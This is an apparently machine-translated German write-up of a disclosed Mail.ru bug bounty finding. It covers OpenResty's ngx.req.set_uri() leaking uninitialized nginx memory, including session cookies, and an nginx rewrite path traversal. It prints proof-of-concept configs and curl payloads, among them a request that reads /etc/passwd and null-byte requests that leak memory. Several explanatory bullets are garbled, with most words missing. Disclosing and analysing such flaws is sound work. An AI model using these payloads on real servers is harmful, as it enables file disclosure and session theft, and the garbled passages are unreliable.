Über eine Sicherheitslücke in ...



Vor einem Jahr, dem 21. März 2019, kam in einem Bug-Bounty-Programm Mail.ru auf HackerOne ein sehr guter Bug-Bericht von maxarr . Beim Einbetten eines Null-Bytes (ASCII 0) in den POST-Parameter einer der Webmail-API-Anforderungen, die eine HTTP-Umleitung zurückgegeben haben, wurden Teile des nicht initialisierten Speichers in den Umleitungsdaten angezeigt, in denen Fragmente aus GET-Parametern und Header anderer Anforderungen an der gleiche Server.

Dies ist eine kritische Sicherheitslücke, weil Anfragen beinhalten Sitzungscookies. Einige Stunden später wurde eine vorübergehende Korrektur durchgeführt, bei der ein Null-Byte gefiltert wurde (wie sich später herausstellte, war dies nicht ausreichend, da die Möglichkeit bestand, CRLF / ASCII 13, 10 zu injizieren, mit dem Sie die Header und Daten der HTTP-Antwort bearbeiten können. Dies ist jedoch weniger kritisch immer noch unangenehm). Gleichzeitig wurde das Problem an Sicherheitsanalysten und Entwickler weitergeleitet, um die Ursachen des Fehlers zu finden und zu beseitigen.

Mail.ru Mail ist eine sehr komplizierte Anwendung. Eine große Anzahl verschiedener Front-End- / Back-End-Komponenten, sowohl Open Source (vielen Dank an alle Entwickler freier Software) als auch unsere eigene Entwicklung, können an der Antwort teilnehmen. Es war möglich, alle Komponenten außer nginx und openresty auszuschließen und das Problem zu lokalisieren, bevor ngx.req.set_uri () aufgerufen wurde.in einem OpenResty-Skript, das sich nicht wie erwartet verhalten hat (stecken Sie einen Null-Byte- oder Zeilenvorschub durch die GET-Parameter von rewrite zu ngx_http_rewrite_module, das laut Dokumentation verwendet wird und anscheinend genauso funktionieren sollte). Mögliche Konsequenzen wurden eliminiert, die strengste Filterung wurde hinzugefügt und es wurde überprüft, dass die Filterung alle möglichen Vektoren eliminiert. Der Mechanismus, der zum Verlust von Speicherinhalten führte, blieb jedoch ein Rätsel. Einen Monat später wurde der Fehlerbericht als autorisiert geschlossen und die Analyse der Fehlerursachen auf bessere Zeiten verschoben.

OpenResty ist ein sehr beliebtes Plugin, mit dem Sie Lua-Skripte in nginx schreiben können. Es wird in mehreren Mail.ru-Projekten verwendet, sodass das Problem nicht als behoben angesehen wurde. Und nach einiger Zeit kehrten sie dennoch zu ihr zurück, um die wahren Ursachen und möglichen Konsequenzen zu verstehen und Empfehlungen für Entwickler abzugeben. Der Quellcode wurde von Denis Denisov und Nikolai Ermishkin ausgegraben . Es stellte sich heraus, dass:

  • nginx rewrite directory traversal ( SSRF) , , Nginx Amplify Gixy (, , ). OpenResty , .

    :

    location ~ /rewrite {
        rewrite ^.*$ $arg_x;
    }
    
    location / {
        root html;
        index index.html index.htm;
    }




    curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    ...


  • nginx , , rewrite . nginx , , , , , . .

    (^@ )
    
    location ~ /memleak {
        rewrite ^.*$ "^@asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
    }
    
    location / {
        root html;
        index index.html index.htm;
    }



    curl localhost:8337/secret -vv
    ...
    curl localhost:8337/memleak -vv
    ...
    Location: http://localhost:8337/secret
    ...

  • Nginx GET- rewrite GET-. nginx . POST . OpenResty GET POST , POST OpenResty .

    :

    location ~ /memleak {
        rewrite_by_lua_block {
            ngx.req.read_body();
            local args, err = ngx.req.get_post_args();
            ngx.req.set_uri( args["url"], true );
        }
    }
    
    location / {
        root html;
        index index.html index.htm;
    }
    


    :

    curl localhost:8337 -d "url=secret" -vv
    ...
    curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
    ...
    Location: http://localhost:8337/{... secret...}
    ...



Das Problem wurde den Entwicklern von nginx und OpenResty gemeldet. Die Entwickler betrachten das Problem nicht als Sicherheitsfehler in nginx, da In Nginx selbst gibt es keine Möglichkeit, den Fehler durch Einfügen von Sonderzeichen auszunutzen. Der Fix zum Anzeigen des Speicherinhalts wurde am 16. Dezember veröffentlicht. In den vier Monaten seit dem Bericht wurden keine Änderungen an OpenResty vorgenommen, obwohl bekannt war, dass eine sichere Version der Funktion ngx.req.set_uri () erforderlich war. Am 18. März 2020 haben wir die Informationen veröffentlicht. Am 21. März veröffentlichte OpenResty die Version 1.15.8.3 , die eine URI-Prüfung hinzufügt.

Portswigger schrieb Ich habe einen guten Artikel von OpenResty und Nginx genommen (obwohl der Kommentar, dass nur ein kleines Stück Speicher enthüllt wird, falsch und irreführend ist, wird dies durch die Länge der Zeile nach dem Null-Byte bestimmt und kann ohne offensichtliche Längenbeschränkungen vom Angreifer kontrolliert werden).

Was war der Fehler und was ist zu tun, um ihn zu verhindern?


Gab es einen Fehler in Nginx? Ja, das war es, weil ein Speicherverlust sowieso ein Fehler ist.

Gab es einen Fehler in OpenResty? Ja, zumindest das Problem der Sicherheit der von OpenResty angebotenen Funktionen wurde nicht untersucht und dokumentiert.

Wurde ein OpenResty-Konfigurations- / Verwendungsfehler gemacht? Ja, da mangels expliziter Angabe eine nicht überprüfte Annahme über die Sicherheit der verwendeten Funktionalität getroffen wurde.

Welcher dieser Fehler ist eine Sicherheitslücke in Höhe von 10.000 US-Dollar?Für uns ist dies in der Regel nicht wichtig. In jeder Software, insbesondere an der Schnittstelle mehrerer Komponenten, insbesondere derjenigen, die von verschiedenen Projekten und Entwicklern bereitgestellt werden, kann niemand garantieren, dass alle Funktionen ihrer Arbeit bekannt und dokumentiert sind und dass keine Fehler vorliegen. Daher tritt jede Sicherheitslücke genau dort auf, wo sie die Sicherheit beeinträchtigt.

In jedem Fall empfiehlt es sich, die Eingabedaten, die an ein externes Modul / eine externe API gesendet werden, zu normalisieren oder zu begrenzen / zu filtern, wenn keine expliziten Hinweise vorliegen und ein eindeutiges Verständnis dafür besteht, dass dies nicht erforderlich ist.

Errata


Nach den Erfahrungen des vorigen Artikels , um die Reinheit der Sprache zu bewahren:

ein Bug Bounty - Jagd Wettbewerb für Fehler
Fehlerbericht - Fehlermeldung
Umleitung - Umleitung
opensorsny - Open - Source
als errata bekannt - Arbeit auf der Bugs

All Articles